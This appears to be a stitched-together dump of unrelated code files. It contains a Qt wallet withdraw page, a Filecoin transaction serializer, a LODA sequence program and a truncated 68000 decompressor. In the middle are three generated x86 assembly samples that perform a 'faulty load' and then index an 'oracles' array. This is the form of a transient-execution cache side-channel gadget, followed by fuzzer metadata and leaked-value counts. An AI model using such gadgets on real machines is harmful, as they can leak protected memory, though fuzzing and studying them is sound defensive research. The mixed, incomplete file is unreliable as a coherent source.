connect(confirm,&WithdrawConfirmWidget::closeSelf,std::bind(&WithdrawPage::backBtnVisible,this,false)); //confirm->setWindowFlags( Qt::Dialog | Qt::FramelessWindowHint); //confirm->setWindowModality(Qt::WindowModal); confirm->setAttribute(Qt::WA_DeleteOnClose); //confirm->move(mapToGlobal(QPoint(-190,-50))); confirm->show(); } void WithdrawPage::InitWidget() { InitStyle(); ui->stackedWidget->addWidget(_p->inputWidget); _p->inputWidget->InitData(_p->ammount,_p->assetSymbol); connect(ui->withdrawRecordBtn,&QToolButton::clicked,this,&WithdrawPage::ShowRecordSlots); connect(_p->inputWidget,&WithdrawInputWidget::withdrawSignal,this,&WithdrawPage::ShowConfirmWidget); } void WithdrawPage::InitStyle() { setAutoFillBackground(true); QPalette palette; palette.setColor(QPalette::Window, QColor(239,242,245)); setPalette(palette); ui->withdrawRecordBtn->setStyleSheet(TOOLBUTTON_STYLE_1); } void WithdrawPage::on_withdrawRecordBtn_clicked() { WithdrawRecordWidget* widget = new WithdrawRecordWidget(this); widget->move(0,0); widget->show(); widget->showWithdrawRecord(_p->address); }
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r15 push %rax push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0xca7c, %rax nop nop add $5042, %rdi mov $0x6162636465666768, %r15 movq %r15, %xmm2 vmovups %ymm2, (%rax) nop nop inc %r10 lea addresses_WT_ht+0xa51c, %rsi lea addresses_normal_ht+0xd27c, %rdi clflush (%rsi) nop nop nop and $15410, %rbx mov $54, %rcx rep movsl nop nop nop sub %rbx, %rbx lea addresses_WT_ht+0xc67c, %rsi lea addresses_UC_ht+0x1ecdc, %rdi nop nop nop nop nop sub %r10, %r10 mov $30, %rcx rep movsb nop nop nop nop add %rsi, %rsi lea addresses_UC_ht+0xe1cc, %rsi lea addresses_UC_ht+0x347c, %rdi nop nop nop nop cmp %rbp, %rbp mov $16, %rcx rep movsq nop nop dec %rax lea addresses_UC_ht+0x14e7c, %rsi lea addresses_normal_ht+0x1ca7c, %rdi nop nop cmp $36136, %rbx mov $127, %rcx rep movsb nop nop nop xor $57873, %rdi lea addresses_UC_ht+0x427c, %rbx nop add $4555, %rsi and $0xffffffffffffffc0, %rbx vmovntdqa (%rbx), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $1, %xmm7, %rcx nop nop nop xor $24590, %rsi lea addresses_WC_ht+0x537c, %r15 clflush (%r15) nop nop nop nop nop sub $58184, %rcx mov (%r15), %edi nop nop nop nop nop cmp $41903, %r10 lea addresses_UC_ht+0x1825c, %rsi lea addresses_WT_ht+0x1b7f3, %rdi clflush (%rdi) sub %rbp, %rbp mov $75, %rcx rep movsl nop and $1207, %rdi lea addresses_WT_ht+0xd47c, %rbp sub $59283, %rax movb (%rbp), %cl nop cmp %r10, %r10 pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r15 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r15 push %rax push %rbp push %rcx push %rdi // Load lea addresses_normal+0x17cc4, %r10 clflush (%r10) nop nop nop xor %r15, %r15 movups (%r10), %xmm3 vpextrq $1, %xmm3, %r14 nop nop inc %rcx // Store mov $0x87c, %r10 clflush (%r10) nop inc %rax mov $0x5152535455565758, %rdi movq %rdi, (%r10) nop nop nop nop sub $19769, %rbp // Store lea addresses_RW+0x1febc, %rcx nop sub %rdi, %rdi mov $0x5152535455565758, %rbp movq %rbp, (%rcx) nop cmp %rcx, %rcx // Store lea addresses_PSE+0x184fc, %rcx nop nop sub %r10, %r10 mov $0x5152535455565758, %r15 movq %r15, (%rcx) nop nop nop nop nop cmp %r15, %r15 // Faulty Load lea addresses_D+0x527c, %rax nop nop nop nop xor %r14, %r14 mov (%rax), %rdi lea oracles, %rbp and $0xff, %rdi shlq $12, %rdi mov (%rbp,%rdi,1), %rdi pop %rdi pop %rcx pop %rbp pop %rax pop %r15 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 9}} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 5}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 6}} [Faulty Load] {'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 11}} {'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}} {'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}} {'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}} {'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': True}} {'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 32, 'NT': True, 'same': False, 'congruent': 11}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 6}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}} {'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 8}, 'OP': 'LOAD'} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r14 push %rax push %rbx push %rcx push %rdi lea addresses_WC_ht+0xae60, %r10 nop sub $13190, %r14 mov $0x6162636465666768, %rbx movq %rbx, (%r10) and %r13, %r13 lea addresses_D_ht+0x17060, %rdi nop nop nop sub %rax, %rax mov $0x6162636465666768, %rcx movq %rcx, %xmm0 movups %xmm0, (%rdi) nop nop nop nop add $10802, %rax lea addresses_normal_ht+0x46e0, %rdi nop nop nop nop nop sub %r13, %r13 mov $0x6162636465666768, %rbx movq %rbx, %xmm4 vmovups %ymm4, (%rdi) nop add $27176, %rax pop %rdi pop %rcx pop %rbx pop %rax pop %r14 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r14 push %r8 push %rax push %rsi // Store mov $0xcd8, %r14 clflush (%r14) nop and %r13, %r13 movb $0x51, (%r14) nop nop nop inc %r14 // Faulty Load mov $0x5914b60000000a60, %r8 nop nop nop and %rax, %rax mov (%r8), %r13 lea oracles, %r14 and $0xff, %r13 shlq $12, %r13 mov (%r14,%r13,1), %r13 pop %rsi pop %rax pop %r8 pop %r14 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 3, 'size': 1, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 10, 'size': 8, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 9, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 6, 'size': 32, 'same': False, 'NT': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %rax push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x15d51, %rsi lea addresses_WT_ht+0x7a79, %rdi nop nop nop nop nop and $52332, %rbp mov $89, %rcx rep movsw cmp %r13, %r13 lea addresses_normal_ht+0x11c59, %rdx xor %r12, %r12 mov (%rdx), %di nop inc %rsi lea addresses_D_ht+0x5559, %rsi lea addresses_WT_ht+0x3a19, %rdi clflush (%rdi) nop nop nop nop sub %rax, %rax mov $125, %rcx rep movsb nop nop nop xor %r13, %r13 lea addresses_UC_ht+0x8c59, %r12 nop nop nop nop nop inc %rbp movups (%r12), %xmm3 vpextrq $0, %xmm3, %rsi nop nop nop nop inc %rdi lea addresses_WT_ht+0x15ed, %rbp nop nop add %rax, %rax mov (%rbp), %r12w cmp %rcx, %rcx lea addresses_A_ht+0x13863, %rsi lea addresses_A_ht+0x497b, %rdi nop nop nop nop xor %r13, %r13 mov $34, %rcx rep movsl nop nop nop add %rdi, %rdi lea addresses_D_ht+0x19f99, %rsi lea addresses_WT_ht+0x6e59, %rdi nop sub %rdx, %rdx mov $83, %rcx rep movsw nop nop nop add $33113, %rbp pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %r9 push %rax push %rbx push %rdx // Store mov $0x62d, %r9 nop nop nop add %rbx, %rbx mov $0x5152535455565758, %rdx movq %rdx, (%r9) nop nop nop cmp %rdx, %rdx // Store lea addresses_normal+0x1f697, %r12 nop add $991, %r14 mov $0x5152535455565758, %rbx movq %rbx, (%r12) nop nop nop nop cmp $42184, %r14 // Store lea addresses_WC+0x71a9, %r14 nop and %r12, %r12 mov $0x5152535455565758, %rbx movq %rbx, (%r14) nop xor %r12, %r12 // Load lea addresses_US+0x1d059, %rdx nop nop nop add %r11, %r11 movb (%rdx), %bl xor %r11, %r11 // Load lea addresses_A+0x18f9, %r12 nop nop nop nop nop xor %r14, %r14 mov (%r12), %r9w nop nop nop nop nop cmp $10093, %r12 // Load lea addresses_WC+0x15059, %r11 sub $22471, %rax mov (%r11), %edx nop nop nop nop nop and %r9, %r9 // Load lea addresses_US+0x1d059, %rax nop and %rdx, %rdx mov (%rax), %r12 nop nop nop nop nop add $36341, %rdx // Faulty Load lea addresses_US+0x1d059, %r14 nop and %rax, %rax movb (%r14), %bl lea oracles, %r14 and $0xff, %rbx shlq $12, %rbx mov (%r14,%rbx,1), %rbx pop %rdx pop %rbx pop %rax pop %r9 pop %r14 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 2, 'AVXalign': True, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': True}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 10, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}} {'00': 6250} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
// Copyright © 2017-2020 Trust. // // This file is part of Trust. The full Trust copyright notice, including // terms governing use, modification, and redistribution, is contained in the // file LICENSE at the root of the source code distribution tree. #include "Transaction.h" #include <nlohmann/json.hpp> #include "Base64.h" using json = nlohmann::json; using namespace TW; using namespace TW::Filecoin; // encodeBigInt encodes a Filecoin BigInt to CBOR. Data TW::Filecoin::encodeBigInt(const uint256_t& value) { if (value.is_zero()) { return {}; } Data buf; buf.push_back(0); // positive sign export_bits(value, std::back_inserter(buf), 8); return buf; } // cidPrefix is the CID + Multihash prefix of transaction CIDs. const Data cidPrefix = { // CIDv1 with CBOR codec 0x01, 0x71, // Blake2b-256 with 32 byte output 0xa0, 0xe4, 0x02, 0x20, }; Cbor::Encode Transaction::message() const { Cbor::Encode cborGasLimit = gasLimit >= 0 ? Cbor::Encode::uint((uint64_t)gasLimit) : Cbor::Encode::negInt((uint64_t)(-gasLimit - 1)); return Cbor::Encode::array({ Cbor::Encode::uint(0), // version Cbor::Encode::bytes(to.bytes), // to address Cbor::Encode::bytes(from.bytes), // from address Cbor::Encode::uint(nonce), // nonce Cbor::Encode::bytes(encodeBigInt(value)), // value cborGasLimit, // gas limit Cbor::Encode::bytes(encodeBigInt(gasFeeCap)), // gas fee cap Cbor::Encode::bytes(encodeBigInt(gasPremium)), // gas premium Cbor::Encode::uint(0), // abi.MethodNum (0 => send) Cbor::Encode::bytes(Data()) // data (empty) }); } Data Transaction::cid() const { Data cid; cid.reserve(cidPrefix.size() + 32); cid.insert(cid.end(), cidPrefix.begin(), cidPrefix.end()); Data hash = Hash::blake2b(message().encoded(), 32); cid.insert(cid.end(), hash.begin(), hash.end()); return cid; } std::string Transaction::serialize(Data& signature) const { json tx = { {"Message", json{ {"To", to.string()}, {"From", from.string()}, {"Nonce", nonce}, {"Value", toString(value)}, {"GasPremium", toString(gasPremium)}, {"GasFeeCap", toString(gasFeeCap)}, {"GasLimit", gasLimit}, } }, {"Signature", json{ {"Type", 1}, {"Data", Base64::encode(signature)}, } }, }; return tx.dump(); }
; A016277: Expansion of 1/((1-2x)(1-3x)(1-8x)). ; Submitted by Jon Maiga ; 1,13,123,1049,8603,69489,557971,4470073,35779755,286296065,2290543619,18324876297,146600596507,1172809538641,9382490625267,75059967983321,600479872875659,4803839370163617,38430716123046115 mov $1,1 mov $2,1 mov $3,2 lpb $0 sub $0,1 mul $1,8 mul $3,3 add $3,2 add $1,$3 mul $2,2 add $2,1 sub $1,$2 lpe mov $0,$1
; --------------------------------------------------------------------------- ; KOSINSKI DECOMPRESSION PROCEDURE ; (sometimes called KOZINSKI decompression) ; ; ARGUMENTS: ; a0 = source address ; a1 = destination address ; ; For format explanation see http://info.sonicretro.org/Kosinski_compression ; New faster version by written by vladikcomper, with additional improvements by ; MarkeyJester and Flamewing ; --------------------------------------------------------------------------- _Kos_UseLUT = 1 _Kos_LoopUnroll = 3 _Kos_ExtremeUnrolling = 1 _Kos_RunBitStream macro dbra d2,.skip\@ moveq #7,d2 ; Set repeat count to 8. move.b d1,d0 ; Use the remaining 8 bits. not.w d3 ; Have all 16 bits been used up? bne.s .skip\@ ; Branch if not. move.b (a0)+,d0 ; Get desc field low-byte. move.b (a0)+,d1 ; Get desc field hi-byte. if _Kos_UseLUT=1 move.b (a4,d0.w),d0 ; Invert bit order... move.b (a4,d1.w),d1 ; ... for both bytes. endif .skip\@ endm _Kos_ReadBit macro if _Kos_UseLUT=1 add.b d0,d0 ; Get a bit from the bitstream. else lsr.b #1,d0 ; Get a bit from the bitstream. endif endm ; =========================================================================== ; KozDec_193A: KosDec: moveq #(1<<_Kos_LoopUnroll)-1,d7 if _Kos_UseLUT=1 moveq #0,d0 moveq #0,d1 lea KosDec_ByteMap(pc),a4 ; Load LUT pointer. endif move.b (a0)+,d0 ; Get desc field low-byte. move.b (a0)+,d1 ; Get desc field hi-byte. if _Kos_UseLUT=1 move.b (a4,d0.w),d0 ; Invert bit order... move.b (a4,d1.w),d1 ; ... for both bytes. endif moveq #7,d2 ; Set repeat count to 8. moveq #0,d3 ; d3 will be desc field switcher. bra.s .FetchNewCode ; --------------------------------------------------------------------------- .FetchCodeLoop: ; Code 1 (Uncompressed byte). _Kos_RunBitStream move.b (a0)+,(a1)+ .FetchNewCode: _Kos_ReadBit bcs.s .FetchCodeLoop ; If code = 1, branch. ; Codes 00 and 01. moveq #-1,d5 lea (a1),a5 